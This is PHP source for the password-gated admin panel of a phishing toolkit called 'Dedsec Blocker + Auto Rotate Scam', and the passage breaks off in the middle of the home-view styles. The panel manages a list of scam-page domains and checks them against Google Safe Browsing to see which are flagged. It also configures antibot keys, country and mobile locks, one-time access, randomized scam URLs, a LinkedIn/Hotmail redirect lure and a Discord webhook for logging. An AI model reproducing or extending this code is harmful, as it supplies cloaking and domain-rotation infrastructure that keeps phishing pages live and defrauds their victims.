<?php
error_reporting(0);
session_start();
require 'inc/Helper.php';
require 'inc/SafeBrowsing.php';
$config = json_decode(file_get_contents("config.json"), 1);

$sbc = $config['safebrowsing_key'][rand(0, count($config['safebrowsing_key']) - 1)];
$sf = new SafeBrowsingAPI($sbc);
$password = "098f6bcd4621d373cade4e832627b4f6"; # md5: pswd test
function login_shell()
{
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8" />
  <meta name="viewport" content="width=device-width,initial-scale=1" />
  <title>Dedsec Blocker + Auto Rotate Scam </title>
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;700&family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet">
  <style>
  
    :root{
      --bg:#071018;
      --card:#0b1720;
      --muted:#9fb4c2;
      --accent:#4ef07a;
      --glass: rgba(255,255,255,0.03);
      --mono: 'JetBrains Mono', monospace;
      --sans:'Inter',system-ui,-apple-system,'Segoe UI',Roboto;
    }
    html,body{height:100%;background:linear-gradient(180deg,#000000 0%, #071828 100%);font-family:var(--sans);color:#d8f3e1}
    .login-wrap{display:flex;align-items:center;justify-content:center;height:100vh}
    .login-card{background:linear-gradient(180deg,#071217,#041018);border:1px solid rgba(78,240,122,0.06);padding:28px;border-radius:12px;min-width:320px}
    .terminal{background:#000;border-radius:8px;padding:14px;color:var(--accent);font-family:var(--mono);line-height:1.16;border:1px dotted rgba(78,240,122,0.12);font-size:15px}
    .input-password{width:100%;padding:10px;border-radius:8px;background:transparent;border:2px dotted rgba(78,240,122,0.16);color:var(--accent);font-family:var(--mono)}
    .brand{font-weight:700;color:var(--accent);letter-spacing:0.6px}
    .small-muted{color:rgba(255,255,255,0.45);font-size:13px}
    a { color: var(--accent); text-decoration: none; }
  </style>
</head>
<body>
<!-- ==== DEDSEC MODERN LOGIN PAGE ==== -->
<div class="login-screen">
  <div class="login-box">
    <div class="login-header">
      <div class="logo-glow">💀 DEDSEC</div>
      <div class="login-title">Access Control Panel</div>
      <div class="login-sub">Authorized personnel only</div>
    </div>

    <form method="post" class="login-form">
      <input type="password" name="password" class="login-input" placeholder="Enter access password" autofocus>
      <button class="btn-login" type="submit">Unlock Access</button>
    </form>

    <div class="login-footer">© Dedsec_Ctos 2025 — Security Layer Active</div>
  </div>
</div>

<style>
/* ==== DEDSEC LOGIN STYLE ==== */
:root {
  --bg: #060e14;
  --card: #0b1720;
  --accent: #4ef07a;
  --accent2: #23c16b;
  --muted: #9fb4c2;
  --mono: 'JetBrains Mono', monospace;
  --sans: 'Inter', system-ui, -apple-system, 'Segoe UI', Roboto;
}

body {
  margin: 0;
  background: radial-gradient(circle at 30% 20%, #0b1720, #020609 90%);
  font-family: var(--sans);
  color: #d8f3e1;
  display: flex;
  align-items: center;
  justify-content: center;
  height: 100vh;
  overflow: hidden;
}

.login-screen {
  position: relative;
  width: 100%;
  max-width: 420px;
  padding: 24px;
}

.login-box {
  background: linear-gradient(180deg, rgba(11,23,32,0.98), rgba(5,15,20,0.95));
  border: 1px solid rgba(78,240,122,0.15);
  border-radius: 16px;
  box-shadow: 0 0 35px rgba(78,240,122,0.1);
  padding: 40px 36px 36px;
  text-align: center;
  backdrop-filter: blur(8px);
  animation: fadeIn 0.8s ease-out;
}

.login-header {
  margin-bottom: 26px;
}

.logo-glow {
  font-family: var(--mono);
  color: var(--accent);
  font-size: 28px;
  font-weight: 800;
  letter-spacing: 1.2px;
  text-shadow: 0 0 15px rgba(78,240,122,0.5);
  margin-bottom: 6px;
}

.login-title {
  font-weight: 600;
  font-size: 17px;
  color: #e5ffe9;
}

.login-sub {
  color: #89a79c;
  font-size: 13px;
  margin-top: 2px;
}

.login-form {
  display: flex;
  flex-direction: column;
  gap: 14px;
  margin-top: 14px;
}

.login-input {
  background: rgba(255,255,255,0.03);
  border: 1px solid rgba(255,255,255,0.08);
  padding: 12px;
  border-radius: 10px;
  color: #eaffee;
  font-family: var(--mono);
  text-align: center;
  transition: 0.3s;
}
.login-input::placeholder {
  color: #829a8d;
}
.login-input:focus {
  border-color: var(--accent);
  box-shadow: 0 0 14px rgba(78,240,122,0.4);
  outline: none;
}

.btn-login {
  background: linear-gradient(90deg, var(--accent), var(--accent2));
  border: none;
  color: #001a0d;
  padding: 12px;
  font-weight: 700;
  border-radius: 10px;
  cursor: pointer;
  transition: 0.3s;
  text-transform: uppercase;
}
.btn-login:hover {
  transform: scale(1.03);
  box-shadow: 0 0 20px rgba(78,240,122,0.5);
}

.login-footer {
  font-size: 12px;
  color: #748a83;
  margin-top: 20px;
  letter-spacing: 0.4px;
}

@keyframes fadeIn {
  from { opacity: 0; transform: translateY(20px); }
  to { opacity: 1; transform: translateY(0); }
}
</style>

</body>
</html>
<?php
exit;
}

if (!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
    if (empty($password) || (isset($_POST['password']) && (md5($_POST['password']) == $password)))
        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
    else
        login_shell();

if (isset($_POST['gass'])) {
    $listdomain = [];
    $_domain = trim($_POST['domain']);
    $pd = explode(",", $_domain);

    if (count($pd) > 0) {
        foreach ($pd as $domain) {
            if (!empty($domain)) {
                $listdomain[] = $domain;
            }
        }
    } else {
        $listdomain[] = $_domain;
    }

    $newDomain = array(
        'list' => $listdomain
    );


    $_safebrowsing = trim($_POST['safebrowsing_key']);
    $safebrowsing_key = [];
    $psk = explode(",", $_safebrowsing);

    if (count($psk)) {
        foreach ($psk as $sk) {
            $safebrowsing_key[] = $sk;
        }
    } else {
        $safebrowsing_key[] = $_safebrowsing;
    }

    $_whiteip = trim($_POST['whitelist_ip']);
    $whitelist_ip = [];
    $pi = explode(",", $_whiteip);

    if (count($pi) > 0) {
        foreach ($pi as $wip) {
            $whitelist_ip[] = $wip;
        }
    } else {
        $whitelist_ip[] = $_whiteip;
    }

    if ($_POST['lock_country'] == 'false') {
        $lock_country = false;
    } else {
        $lock_country = trim($_POST['lock_country']);
    }

    if ($_POST['onetime_acc'] == 'true') {
        $onetime_acc = true;
    } else {
        $onetime_acc = false;
    }

    if ($_POST['lock_mobile'] == 'true') {
        $lock_mobile = true;
    } else {
        $lock_mobile = false;
    }

    if ($_POST['putar_scam'] == 'true') {
        $putar_scam = true;
    } else {
        $putar_scam = false;
    }

    $config = array(
        'onetime_acc' => $onetime_acc,
        'safebrowsing_key' => $safebrowsing_key,
        'whitelist_ip' => $whitelist_ip,
        'parameter' => trim($_POST['parameter']),
        'method_redirect' => trim($_POST['method_redirect']),
        'lock_mobile' => $lock_mobile,
        'lock_country' => $lock_country,
        'putar_scam' => $putar_scam,
        'load_domain' => "domains.json",
        'discord_webhook' => trim($_POST['discord_webhook']),
        'blocker' => trim($_POST['blocker']),
        'antibot_key' => trim($_POST['antibot_key']),
        'killbot_key' => trim($_POST['killbot_key'])
    );

    write($config['load_domain'], 'w+', json_encode($newDomain));
    write("config.json", 'w+', json_encode($config));

    echo "<script>alert('Success');window.location.href = '?action=setting';</script>";
} elseif (isset($_POST['test_discord'])) {
    discord("Discord Webhook Successfully Intergrated!");
    echo "<script>alert('Success');window.location.href = '?action=setting';</script>";
} elseif (isset($_POST['clear_log'])) {
    write("access.txt", 'w+', "");
    echo "<script>alert('Success');window.location.href = '?action=setting';</script>";
}
    ?>

    <!doctype html>
    <html lang="en" data-bs-theme="dark">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <title>Dedsec Blocker + Auto Rotate Scam</title>
        <link rel="icon" type="image/x-icon" href="/images/favicon.ico">
        <meta http-equiv="refresh" content="60">
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
        <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha3/dist/css/bootstrap.min.css" rel="stylesheet">
        <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;700&family=JetBrains+Mono:wght@400;600&display=swap" rel="stylesheet">
        <style>
            :root{
              --bg:#071018;--card:#0b1720;--muted:#9fb4c2;--accent:#4ef07a;--glass: rgba(255,255,255,0.03);--mono: 'JetBrains Mono', monospace;--sans:'Inter',system-ui,-apple-system,'Segoe UI',Roboto
            }
            body{background:linear-gradient(180deg,#031018 0%, #071828 100%);font-family:var(--sans);color:#d8f3e1}
            .navbar{background:linear-gradient(90deg, rgba(8,18,24,0.9), rgba(6,16,22,0.8));backdrop-filter: blur(6px);}
            .brand{font-weight:700;color:var(--accent)}
            .card-d{background:linear-gradient(180deg,var(--card), #071017);border:1px solid var(--glass);border-radius:12px}
            .small-muted{color:var(--muted)}
            .table thead th{border-bottom:1px solid rgba(255,255,255,0.04)}
            .btn-light{background:transparent;border:1px solid rgba(255,255,255,0.06);color:var(--muted)}
            .badge-d{background:rgba(78,240,122,0.12);color:var(--accent);border:1px solid rgba(78,240,122,0.08)}
            .scroll-panel{max-height:420px;overflow:auto}
            a { color: var(--accent); }
        </style>
    </head>

    <body>
<!-- ==== DEDSEC NAVBAR ==== -->
<nav class="dedsec-nav">
  <div class="nav-inner container-fluid">
    <div class="brand-zone">
      <span class="dedsec-logo">💀 DEDSEC</span>
      <span class="nav-title">Blocker + Auto Rotate Scam</span>
    </div>
    <ul class="nav-links">
  <li><a href="?">Home</a></li>
  <li><a href="?action=list">Domain</a></li>
  <li><a href="?action=setting">Setting</a></li>
  <li><span class="version">v1.0.0</span></li>
  <li><a href="logout.php" class="logout-link">Logout</a></li>
</ul>

  </div>
</nav>

<style>
/* ==== NAVBAR STYLE DEDSEC ==== */
.dedsec-nav {
  background: linear-gradient(90deg, rgba(5,15,22,0.95) 0%, rgba(9,26,36,0.95) 100%);
  border-bottom: 1px solid rgba(78,240,122,0.15);
  box-shadow: 0 0 25px rgba(78,240,122,0.06);
  backdrop-filter: blur(6px);
  padding: 10px 0;
  position: sticky;
  top: 0;
  z-index: 99;
}
.dedsec-nav .nav-inner {
  display: flex;
  align-items: center;
  justify-content: space-between;
}
.brand-zone {
  display: flex;
  align-items: center;
  gap: 10px;
}
.dedsec-logo {
  font-family: 'JetBrains Mono', monospace;
  color: #4ef07a;
  font-weight: 800;
  letter-spacing: 1px;
  font-size: 18px;
  text-shadow: 0 0 12px rgba(78,240,122,0.5);
}
.nav-title {
  font-size: 14px;
  color: #9fb4c2;
  letter-spacing: 0.6px;
}
.nav-links {
  list-style: none;
  display: flex;
  align-items: center;
  gap: 22px;
  margin: 0;
}
.nav-links li a {
  color: #c9f7db;
  text-decoration: none;
  font-weight: 500;
  letter-spacing: 0.4px;
  transition: 0.3s;
  position: relative;
}
.nav-links li a::after {
  content: "";
  position: absolute;
  bottom: -4px;
  left: 0;
  height: 2px;
  width: 0;
  background: #4ef07a;
  border-radius: 4px;
  transition: width 0.3s ease-in-out;
}
.nav-links li a:hover::after {
  width: 100%;
}
.nav-links li a:hover {
  color: #4ef07a;
  text-shadow: 0 0 8px rgba(78,240,122,0.5);
}
.nav-links .version {
  background: rgba(78,240,122,0.15);
  color: #4ef07a;
  padding: 4px 10px;
  border-radius: 8px;
  font-family: 'JetBrains Mono', monospace;
  font-size: 13px;
  border: 1px solid rgba(78,240,122,0.25);
  letter-spacing: 0.4px;
}
.logout-link {
  background: rgba(255,255,255,0.03);
  padding: 6px 14px;
  border-radius: 8px;
  border: 1px solid rgba(78,240,122,0.2);
  transition: 0.3s;
}
.logout-link:hover {
  background: rgba(255,255,255,0.08);
  color: #ff5c5c !important;
  border-color: rgba(255,92,92,0.3);
  text-shadow: 0 0 8px rgba(255,92,92,0.4);
}

</style>

        <div class="container py-3">
            <div class="row">
                <?php
                if (isset($_GET['action'])) {
                    switch ($_GET['action']) {
                        case 'list':
                            $getDomain = @file_get_contents($config['load_domain']) or die("List Domain Not Found");
                            $pecah = json_decode($getDomain, true);
                ?>  
                <style>
                /* ===== DEDSEC STYLE UNTUK DOMAIN LIST DAN TABEL ===== */

/* Alert Section (Domain List Header) */
.alert.alert-dark {
  background: linear-gradient(90deg, #0b1720, #08131e);
  color: #c9f7db;
  border: 1px solid rgba(78,240,122,0.15);
  border-radius: 14px;
  box-shadow: 0 0 20px rgba(78,240,122,0.05);
}
.alert.alert-dark h4.alert-heading {
  color: #4ef07a;
  font-weight: 700;
  letter-spacing: 0.3px;
}
.alert.alert-dark a {
  color: #4ef07a;
  text-decoration: none;
}
.alert.alert-dark a:hover {
  text-decoration: underline;
  color: #23c16b;
}

/* Card container (Scam List) */
.card-d {
  background: linear-gradient(180deg, #0b1720, #071017);
  border: 1px solid rgba(78,240,122,0.1);
  border-radius: 14px;
  box-shadow: 0 0 25px rgba(78,240,122,0.05);
  color: #d8f3e1;
  font-family: 'Inter', system-ui, -apple-system, 'Segoe UI', Roboto;
}
.card-d h5 {
  color: #4ef07a;
  font-weight: 600;
}

/* Table style */
.table.table-bordered {
  border: 1px solid rgba(255,255,255,0.05);
  font-family: 'JetBrains Mono', monospace;
}
.table thead {
  background: rgba(78,240,122,0.1);
  color: #8fd6a6;
  text-transform: uppercase;
  font-size: 0.85rem;
  letter-spacing: 0.3px;
}
.table thead th {
  border-bottom: 1px solid rgba(78,240,122,0.15);
}
.table tbody tr {
  border-bottom: 1px solid rgba(255,255,255,0.04);
  transition: 0.25s;
}
.table tbody tr:hover {
  background: rgba(78,240,122,0.05);
}
.table td {
  color: #d8f3e1;
}
.text-success {
  color: #4ef07a !important;
  font-weight: 600;
}
.text-danger {
  color: #ff5c5c !important;
  font-weight: 600;
}
.small-muted {
  color: #9fb4c2;
  font-size: 0.9rem;
}



                </style>
                            <div class="alert alert-dark" role="alert">
                                <h4 class="alert-heading">Domain List</h4>
                                <hr>
                                <p class="mb-0">Contact me on <a href="https://t.me/leechaerin26">Telegram</a></p>
                            </div>
                            <div class="card card-d p-3">
                                <h5 class="mb-2">Scam List</h5>
                                <div class="small-muted mb-2">Here you can check your scampage list</div>
                                <div class="table-responsive scroll-panel">
                                    <table class="table table-bordered text-white">
                                        <thead class="thead-dark">
                                            <tr>
                                                <th>Domain</th>
                                                <th>Status</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                            <?php
                                            foreach ($pecah as $domain) {
                                                $domain = implode(' ', $domain);
                                                $domain = explode(' ', $domain);
                                                foreach ($domain as $domain) {
                                                    $status = $sf->checkUrls($domain);
                                                    $suspicious = (isset($status['matches'])) ? "<span class='text-danger'>Unsafe</span>" : "<span class='text-success'>Safe</span>";
                                                    echo "<tr>";
                                                    echo "<td>{$domain}</td>";
                                                    echo "<td>{$suspicious}</td>";
                                                    echo "</tr>";
                                                }
                                            }
                                            ?>
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                            <?php
                            break;
                        case 'setting':
                            $getDomain = @file_get_contents($config['load_domain']) or die("List Domain Not Found");
                            $pecah = json_decode($getDomain, true);
                            ?>
                                <div class="card card-d p-3">
                                    <div class="card-body">
                                        <style>
/* ==== DEDSEC FORM STYLE ==== */
:root {
  --bg:#071018;--card:#0b1720;--muted:#9fb4c2;
  --accent:#4ef07a;--accent2:#23c16b;
  --mono:'JetBrains Mono', monospace;
  --sans:'Inter',system-ui,-apple-system,'Segoe UI',Roboto;
}
.form-dedsec{
  background:linear-gradient(180deg,var(--card),#041018);
  border:1px solid rgba(78,240,122,0.1);
  border-radius:14px;
  padding:28px;
  box-shadow:0 0 30px rgba(78,240,122,0.05);
  color:#d8f3e1;
  font-family:var(--sans);
}
.form-dedsec label{
  color:var(--accent);
  font-weight:600;
  letter-spacing:0.4px;
}
.form-dedsec .form-control,
.form-dedsec select,
.form-dedsec textarea{
  background:rgba(255,255,255,0.03);
  border:1px solid rgba(255,255,255,0.08);
  color:#eaffee;
  border-radius:10px;
  font-family:var(--mono);
  transition:.3s;
}
.form-dedsec .form-control:focus{
  border-color:var(--accent);
  box-shadow:0 0 12px rgba(78,240,122,0.4);
}
.form-dedsec .input-group-text{
  background:rgba(78,240,122,0.08);
  color:var(--accent);
  font-weight:600;
  font-family:var(--mono);
  border:none;
}
.btn-dedsec{
  background:linear-gradient(90deg,var(--accent),var(--accent2));
  color:#011;
  font-weight:700;
  border:none;
  border-radius:10px;
  padding:10px 18px;
  transition:.3s;
}
.btn-dedsec:hover{
  box-shadow:0 0 14px rgba(78,240,122,0.5);
  transform:scale(1.03);
}
.form-dedsec select {
  background-color: #0c1925 !important;
  color: #c4f9d4 !important;
  border: 1px solid rgba(78,240,122,0.3);
  border-radius: 8px;
  appearance: none;
  -webkit-appearance: none;
  -moz-appearance: none;
  padding: 6px 10px;
  font-family: var(--mono);
}

.form-dedsec select option {
  background-color: #0c1925;
  color: #b4f5c6;
}

.form-dedsec select:focus {
  outline: none;
  border-color: var(--accent);
  box-shadow: 0 0 8px rgba(78,240,122,0.4);
}
</style>

<form name="datahhhh" method="post" action="?" class="form-dedsec">
  <div class="row g-3">
    <!-- Domain -->
    <div class="col-md-6">
      <label>Domain - Separate by comma (,)</label>
      <textarea name="domain" rows="2" class="form-control"><?= implode(",", $pecah['list']) ?></textarea>
    </div>

    <!-- Safebrowsing Key -->
    <div class="col-md-6">
      <label>Safebrowsing API Key (<a href="https://console.developers.google.com/" target="_blank">Generate it</a>)</label>
      <textarea name="safebrowsing_key" rows="2" class="form-control"><?= implode(",", $config['safebrowsing_key']) ?></textarea>
    </div>

    <!-- Whitelist -->
    <div class="col-12">
      <label>Whitelist IP - Separate by comma (,)</label>
      <textarea name="whitelist_ip" rows="2" class="form-control"><?= implode(",", $config['whitelist_ip']) ?></textarea>
    </div>

    <!-- Parameter & Blocker -->
    <div class="col-md-6">
      <label>Parameter</label>
      <input type="text" name="parameter" class="form-control" required value="<?= $config['parameter'] ?>">
    </div>
    <div class="col-md-6">
      <label>Blocker</label>
      <select class="form-control" required name="blocker">
        <option value="default" <?= ($config['blocker']=='default')?'selected':'' ?>>BLOKER BY DEDSEC !</option>
        
      </select>
    </div>

    <!-- Lock Country / Mobile -->
    <div class="col-md-6">
      <label>Lock Country</label>
      <select class="form-control" name="lock_country">
<option value="false">Turn Off</option>
													<option value="AF">Afghanistan</option>
													<option value="AX">Aland Islands</option>
													<option value="AL">Albania</option>
													<option value="DZ">Algeria</option>
													<option value="AS">American Samoa</option>
													<option value="AD">Andorra</option>
													<option value="AO">Angola</option>
													<option value="AI">Anguilla</option>
													<option value="AQ">Antarctica</option>
													<option value="AG">Antigua and Barbuda</option>
													<option value="AR">Argentina</option>
													<option value="AM">Armenia</option>
													<option value="AW">Aruba</option>
													<option value="AU">Australia</option>
													<option value="AT">Austria</option>
													<option value="AZ">Azerbaijan</option>
													<option value="BS">Bahamas</option>
													<option value="BH">Bahrain</option>
													<option value="BD">Bangladesh</option>
													<option value="BB">Barbados</option>
													<option value="BY">Belarus</option>
													<option value="BE">Belgium</option>
													<option value="BZ">Belize</option>
													<option value="BJ">Benin</option>
													<option value="BM">Bermuda</option>
													<option value="BT">Bhutan</option>
													<option value="BO">Bolivia</option>
													<option value="BQ">Bonaire, Sint Eustatius and Saba</option>
													<option value="BA">Bosnia and Herzegovina</option>
													<option value="BW">Botswana</option>
													<option value="BV">Bouvet Island</option>
													<option value="BR">Brazil</option>
													<option value="IO">British Indian Ocean Territory</option>
													<option value="BN">Brunei Darussalam</option>
													<option value="BG">Bulgaria</option>
													<option value="BF">Burkina Faso</option>
													<option value="BI">Burundi</option>
													<option value="KH">Cambodia</option>
													<option value="CM">Cameroon</option>
													<option value="CA">Canada</option>
													<option value="CV">Cape Verde</option>
													<option value="KY">Cayman Islands</option>
													<option value="CF">Central African Republic</option>
													<option value="TD">Chad</option>
													<option value="CL">Chile</option>
													<option value="CN">China</option>
													<option value="CX">Christmas Island</option>
													<option value="CC">Cocos (Keeling) Islands</option>
													<option value="CO">Colombia</option>
													<option value="KM">Comoros</option>
													<option value="CG">Congo</option>
													<option value="CD">Congo, Democratic Republic of the Congo</option>
													<option value="CK">Cook Islands</option>
													<option value="CR">Costa Rica</option>
													<option value="CI">Cote D'Ivoire</option>
													<option value="HR">Croatia</option>
													<option value="CU">Cuba</option>
													<option value="CW">Curacao</option>
													<option value="CY">Cyprus</option>
													<option value="CZ">Czech Republic</option>
													<option value="DK">Denmark</option>
													<option value="DJ">Djibouti</option>
													<option value="DM">Dominica</option>
													<option value="DO">Dominican Republic</option>
													<option value="EC">Ecuador</option>
													<option value="EG">Egypt</option>
													<option value="SV">El Salvador</option>
													<option value="GQ">Equatorial Guinea</option>
													<option value="ER">Eritrea</option>
													<option value="EE">Estonia</option>
													<option value="ET">Ethiopia</option>
													<option value="FK">Falkland Islands (Malvinas)</option>
													<option value="FO">Faroe Islands</option>
													<option value="FJ">Fiji</option>
													<option value="FI">Finland</option>
													<option value="FR">France</option>
													<option value="GF">French Guiana</option>
													<option value="PF">French Polynesia</option>
													<option value="TF">French Southern Territories</option>
													<option value="GA">Gabon</option>
													<option value="GM">Gambia</option>
													<option value="GE">Georgia</option>
													<option value="DE">Germany</option>
													<option value="GH">Ghana</option>
													<option value="GI">Gibraltar</option>
													<option value="GR">Greece</option>
													<option value="GL">Greenland</option>
													<option value="GD">Grenada</option>
													<option value="GP">Guadeloupe</option>
													<option value="GU">Guam</option>
													<option value="GT">Guatemala</option>
													<option value="GG">Guernsey</option>
													<option value="GN">Guinea</option>
													<option value="GW">Guinea-Bissau</option>
													<option value="GY">Guyana</option>
													<option value="HT">Haiti</option>
													<option value="HM">Heard Island and Mcdonald Islands</option>
													<option value="VA">Holy See (Vatican City State)</option>
													<option value="HN">Honduras</option>
													<option value="HK">Hong Kong</option>
													<option value="HU">Hungary</option>
													<option value="IS">Iceland</option>
													<option value="IN">India</option>
													<option value="ID">Indonesia</option>
													<option value="IR">Iran, Islamic Republic of</option>
													<option value="IQ">Iraq</option>
													<option value="IE">Ireland</option>
													<option value="IM">Isle of Man</option>
													<option value="IL">Israel</option>
													<option value="IT">Italy</option>
													<option value="JM">Jamaica</option>
													<option value="JP">Japan</option>
													<option value="JE">Jersey</option>
													<option value="JO">Jordan</option>
													<option value="KZ">Kazakhstan</option>
													<option value="KE">Kenya</option>
													<option value="KI">Kiribati</option>
													<option value="KP">Korea, Democratic People's Republic of</option>
													<option value="KR">Korea, Republic of</option>
													<option value="XK">Kosovo</option>
													<option value="KW">Kuwait</option>
													<option value="KG">Kyrgyzstan</option>
													<option value="LA">Lao People's Democratic Republic</option>
													<option value="LV">Latvia</option>
													<option value="LB">Lebanon</option>
													<option value="LS">Lesotho</option>
													<option value="LR">Liberia</option>
													<option value="LY">Libyan Arab Jamahiriya</option>
													<option value="LI">Liechtenstein</option>
													<option value="LT">Lithuania</option>
													<option value="LU">Luxembourg</option>
													<option value="MO">Macao</option>
													<option value="MK">Macedonia, the Former Yugoslav Republic of</option>
													<option value="MG">Madagascar</option>
													<option value="MW">Malawi</option>
													<option value="MY">Malaysia</option>
													<option value="MV">Maldives</option>
													<option value="ML">Mali</option>
													<option value="MT">Malta</option>
													<option value="MH">Marshall Islands</option>
													<option value="MQ">Martinique</option>
													<option value="MR">Mauritania</option>
													<option value="MU">Mauritius</option>
													<option value="YT">Mayotte</option>
													<option value="MX">Mexico</option>
													<option value="FM">Micronesia, Federated States of</option>
													<option value="MD">Moldova, Republic of</option>
													<option value="MC">Monaco</option>
													<option value="MN">Mongolia</option>
													<option value="ME">Montenegro</option>
													<option value="MS">Montserrat</option>
													<option value="MA">Morocco</option>
													<option value="MZ">Mozambique</option>
													<option value="MM">Myanmar</option>
													<option value="NA">Namibia</option>
													<option value="NR">Nauru</option>
													<option value="NP">Nepal</option>
													<option value="NL">Netherlands</option>
													<option value="AN">Netherlands Antilles</option>
													<option value="NC">New Caledonia</option>
													<option value="NZ">New Zealand</option>
													<option value="NI">Nicaragua</option>
													<option value="NE">Niger</option>
													<option value="NG">Nigeria</option>
													<option value="NU">Niue</option>
													<option value="NF">Norfolk Island</option>
													<option value="MP">Northern Mariana Islands</option>
													<option value="NO">Norway</option>
													<option value="OM">Oman</option>
													<option value="PK">Pakistan</option>
													<option value="PW">Palau</option>
													<option value="PS">Palestinian Territory, Occupied</option>
													<option value="PA">Panama</option>
													<option value="PG">Papua New Guinea</option>
													<option value="PY">Paraguay</option>
													<option value="PE">Peru</option>
													<option value="PH">Philippines</option>
													<option value="PN">Pitcairn</option>
													<option value="PL">Poland</option>
													<option value="PT">Portugal</option>
													<option value="PR">Puerto Rico</option>
													<option value="QA">Qatar</option>
													<option value="RE">Reunion</option>
													<option value="RO">Romania</option>
													<option value="RU">Russian Federation</option>
													<option value="RW">Rwanda</option>
													<option value="BL">Saint Barthelemy</option>
													<option value="SH">Saint Helena</option>
													<option value="KN">Saint Kitts and Nevis</option>
													<option value="LC">Saint Lucia</option>
													<option value="MF">Saint Martin</option>
													<option value="PM">Saint Pierre and Miquelon</option>
													<option value="VC">Saint Vincent and the Grenadines</option>
													<option value="WS">Samoa</option>
													<option value="SM">San Marino</option>
													<option value="ST">Sao Tome and Principe</option>
													<option value="SA">Saudi Arabia</option>
													<option value="SN">Senegal</option>
													<option value="RS">Serbia</option>
													<option value="CS">Serbia and Montenegro</option>
													<option value="SC">Seychelles</option>
													<option value="SL">Sierra Leone</option>
													<option value="SG">Singapore</option>
													<option value="SX">Sint Maarten</option>
													<option value="SK">Slovakia</option>
													<option value="SI">Slovenia</option>
													<option value="SB">Solomon Islands</option>
													<option value="SO">Somalia</option>
													<option value="ZA">South Africa</option>
													<option value="GS">South Georgia and the South Sandwich Islands</option>
													<option value="SS">South Sudan</option>
													<option value="ES">Spain</option>
													<option value="LK">Sri Lanka</option>
													<option value="SD">Sudan</option>
													<option value="SR">Suriname</option>
													<option value="SJ">Svalbard and Jan Mayen</option>
													<option value="SZ">Swaziland</option>
													<option value="SE">Sweden</option>
													<option value="CH">Switzerland</option>
													<option value="SY">Syrian Arab Republic</option>
													<option value="TW">Taiwan, Province of China</option>
													<option value="TJ">Tajikistan</option>
													<option value="TZ">Tanzania, United Republic of</option>
													<option value="TH">Thailand</option>
													<option value="TL">Timor-Leste</option>
													<option value="TG">Togo</option>
													<option value="TK">Tokelau</option>
													<option value="TO">Tonga</option>
													<option value="TT">Trinidad and Tobago</option>
													<option value="TN">Tunisia</option>
													<option value="TR">Turkey</option>
													<option value="TM">Turkmenistan</option>
													<option value="TC">Turks and Caicos Islands</option>
													<option value="TV">Tuvalu</option>
													<option value="UG">Uganda</option>
													<option value="UA">Ukraine</option>
													<option value="AE">United Arab Emirates</option>
													<option value="GB">United Kingdom</option>
													<option value="US">United States</option>
													<option value="UM">United States Minor Outlying Islands</option>
													<option value="UY">Uruguay</option>
													<option value="UZ">Uzbekistan</option>
													<option value="VU">Vanuatu</option>
													<option value="VE">Venezuela</option>
													<option value="VN">Viet Nam</option>
													<option value="VG">Virgin Islands, British</option>
													<option value="VI">Virgin Islands, U.s.</option>
													<option value="WF">Wallis and Futuna</option>
													<option value="EH">Western Sahara</option>
													<option value="YE">Yemen</option>
													<option value="ZM">Zambia</option>
													<option value="ZW">Zimbabwe</option>
												</select>
</div>
    <div class="col-md-6">
      <label>Lock Mobile</label>
      <select class="form-control" required name="lock_mobile">
        <option value="true" <?= ($config['lock_mobile'])?'selected':'' ?>>On</option>
        <option value="false" <?= (!$config['lock_mobile'])?'selected':'' ?>>Off</option>
      </select>
    </div>

    <!-- One Time / Redirect -->
    <div class="col-md-6">
      <label>One Time Access</label>
      <select class="form-control" required name="onetime_acc">
        <option value="true" <?= ($config['onetime_acc'])?'selected':'' ?>>On</option>
        <option value="false" <?= (!$config['onetime_acc'])?'selected':'' ?>>Off</option>
      </select>
    </div>
    <div class="col-md-6">
      <label>Method Redirect</label>
      <select class="form-control" required name="method_redirect">
        <option value="default" <?= ($config['method_redirect']=='default')?'selected':'' ?>>Direct Redirect (Instant)</option>
        <option value="loading" <?= ($config['method_redirect']=='loading')?'selected':'' ?>>Loading Page (Loader)</option>
        <option value="linkedin" <?= ($config['method_redirect']=='linkedin')?'selected':'' ?>>LinkedIn Page (Hotmail)</option>
      </select>
    </div>

    

    <!-- Randomize Scam -->
    <div class="col-md-6">
      <label>Randomize URL Scam</label>
      <select class="form-control" required name="putar_scam">
        <option value="true" <?= ($config['putar_scam'])?'selected':'' ?>>On</option>
        <option value="false" <?= (!$config['putar_scam'])?'selected':'' ?>>Off</option>
      </select>
    </div>

    <!-- Discord Webhook -->
    <div class="col-md-6">
      <label>Discord Webhook</label>
      <input type="text" name="discord_webhook" class="form-control" required value="<?= $config['discord_webhook'] ?>">
    </div>

    <!-- Redirect Link -->
    <div class="col-12">
      <label>Redirect Link</label>
      <input type="text" class="form-control" readonly value="<?= 'https://'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/'.$config['parameter'] ?>">
    </div>
  </div>

  <hr class="mt-4 mb-3">
  <div class="d-flex flex-wrap gap-2">
    <input type="submit" name="gass" value="Save" class="btn btn-dedsec">
    <input type="submit" name="test_discord" value="Discord Test" class="btn btn-dedsec">
    <input type="submit" name="clear_log" value="Clear Log" class="btn btn-dedsec">
  </div>
</form>
	</div>
							<?php
							break;
						default:
							break;
					}
				} else {
					$content = file_get_contents("access.txt");
					$pecah = explode(PHP_EOL, $content)
							?>
							   
							<style>
/* ==== DEDSEC STYLE UNTUK HOME / VISITOR PANEL ==== */

/* Home alert header */
.alert.alert-dark {
  background: linear-gradient(90deg, #0b1720, #08131e);
  color: #c9f7db;
  border: 1px solid rgba(78,240,122,0.15);
  border-radius: 14px;
  box-shadow: 0 0 20px rgba(78,240,122,0.05);
}
.alert.alert-dark h4.alert-heading {
  color: #4ef07a;
  font-weight: 700;
  letter-spacing: 0.3px;
}
